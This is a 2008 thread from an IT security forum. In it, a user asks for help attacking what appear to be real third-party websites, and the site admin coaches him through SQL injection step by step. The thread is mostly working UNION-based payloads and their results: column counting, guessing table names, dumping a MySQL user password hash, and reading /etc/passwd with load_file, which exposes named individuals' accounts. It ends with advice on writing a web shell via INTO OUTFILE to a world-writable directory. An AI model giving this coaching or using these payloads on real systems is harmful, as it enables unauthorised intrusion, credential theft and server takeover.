Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 8, 2020
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 600
Members: 0
Total: 600
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> help sql injection ?
Post new topic  Reply to topic View previous topic :: View next topic 
help sql injection ?
PostPosted: Mon Mar 10, 2008 12:29 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




hello , please what this ... Confused

Code:
actualites2.php?categorie=1+order+by+1/*


No error

Code:
actualites2.php?categorie=1+order+by+2/*


No Error

Code:
actualites2.php?categorie=1+order+by+3/*


Error Mysql ...

so ?

Code:
actualites2.php?categorie=1+union+select+@@version,@@version/*


Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'

thankx for all ...
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 10, 2008 1:03 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Use UNHEX(HEX(column)):

Code:

actualites2.php?categorie=-1+UNIOIN+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 10, 2008 3:31 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




waraxe wrote:
Use UNHEX(HEX(column)):

Code:

actualites2.php?categorie=-1+UNIOIN+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+



You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNIOIN ALL SELECT UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--' at line 1

so ? Confused no way
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 10, 2008 4:00 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It's my typo ...

Try this:

Code:

actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 10, 2008 4:32 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




waraxe wrote:
It's my typo ...

Try this:

Code:

actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+


but it is the Same waraxe ? Confused Sad
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 10, 2008 5:32 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




kr0k0 wrote:
waraxe wrote:
It's my typo ...

Try this:

Code:

actualites2.php?categorie=-1+UNION+ALL+SELECT+UNHEX(HEX(@@version)),UNHEX(HEX(@@version))--+


but it is the Same waraxe ? Confused Sad


Look here:

Code:

right syntax to use near 'UNIOIN


Can you spot my typo Question

Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Mar 11, 2008 11:05 am Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




ok , waraxe i need a help please please please Shocked [ in other website ]

it is very important Confused look :


Code:
.php?id_pays=162+order+by+1


Error


Code:
.php?id_pays=162+order+by+999999

Error


Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /loook/html/pb/site/annuaire.php on line 57


Please Waraxe Sad Sad please and THankx For aLL ...
View user's profile Send private message Visit poster's website
PostPosted: Tue Mar 11, 2008 6:31 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You can't see detailed sql errors? So you must try various things and first mission is to get syntax right.

Try:

Code:

.php?id_pays=162--+


Code:

.php?id_pays=162)--+


Code:

.php?id_pays=162))--+


If one of them will show normal page, then it means that you can now safely use commenting out method.
So - first get syntax right and then make UNION work! Not vice versa!
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Mar 11, 2008 7:12 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




waraxe wrote:
You can't see detailed sql errors? So you must try various things and first mission is to get syntax right.

Try:

Code:

.php?id_pays=162--+


Code:

.php?id_pays=162)--+


Code:

.php?id_pays=162))--+


If one of them will show normal page, then it means that you can now safely use commenting out method.
So - first get syntax right and then make UNION work! Not vice versa!




Code:

.php?id_pays=162--+


No Error

Code:

.php?id_pays=162)--+


Error Mysql ...
Code:

.php?id_pays=162))--+


Error Mysql ...
View user's profile Send private message Visit poster's website
PostPosted: Tue Mar 11, 2008 9:40 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Next try incremental UNION tests:

Code:

.php?id_pays=-1+UNION+ALL+SELECT+1--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,3--+


You know the drill ...

Column count can be large number - even > 50. And there can be possibility, that specific sql server does not support UNION (example - old 3.x MySql).
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Mar 12, 2008 10:53 am Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Code:
.php?id_pays=-1+UNION+ALL+SELECT+1,2,3,4,5--+



Code:
5
3


Version Mysql : 4.x.x

so , how i know table name of 'Users' [ Password ] ????
View user's profile Send private message Visit poster's website
PostPosted: Wed Mar 12, 2008 1:50 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




As for mysql 4.x you can only try to guess table names.

Try:

Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+users--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+user--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admin--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admins--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+login--+


Try various possible table names with upper/lowercase variations.
And look for html source code - <form> parameters can reveal useful hints about database table and column naming.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Mar 13, 2008 10:20 am Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+users--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+user--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admin--+

Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+admins--+


Code:

.php?id_pays=-1+UNION+ALL+SELECT+1,2,COUNT(*),4,5+FROM+login--+


Error Mysql ... , but from+mysql , is working Cool

Code:
.php?id_pays=-1+union/**/select/**/1,2,unhex(hex(concat(user,0x3e,password))),4,5+from+mysql.user--


Select>143edbd13a581597

and Load_file()

Code:
.php?id_pays=-1+union/**/select/**/1,2,load_file(0x2F6574632F706173737764),4,5--


Code:
Root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin htt:x:100:101:IIIMF Htt:/usr/lib64/im:/sbin/nologin canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin arnould:x:1001:1000:Georges Arnould:/home/arnould:/bin/bash michau:x:1002:1000:Christophe Michau:/home/michau:/bin/bash mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash lakrache:x:1003:1000:Redouane Lakrache:/home/lakrache:/bin/bash


So, what i do now ??? , i try with INTO OUFILE '/.../shell.php')/* , but No work Confused ????????????
View user's profile Send private message Visit poster's website
PostPosted: Thu Mar 13, 2008 11:18 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




INTO OUTFILE needs absolute file path, not relative!! This is where full path disclosure comes handy. You can see error messages? With file path details? Use this info and info from etc/passwd and other files to find out, where web root is located.
You can try writing to tmp directory first and then tr to read that written file. If it works, then INTO OUTFILE can be done on specific target.
And remember about file system permissions - INTO OUTFILE means mysql daemon UID, so you can't write files to most places. Try to find directory, which is accessible from web, but is chmoded to world writable. Example - upload directory.
View user's profile Send private message Send e-mail Visit poster's website
help sql injection ?
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.064 Seconds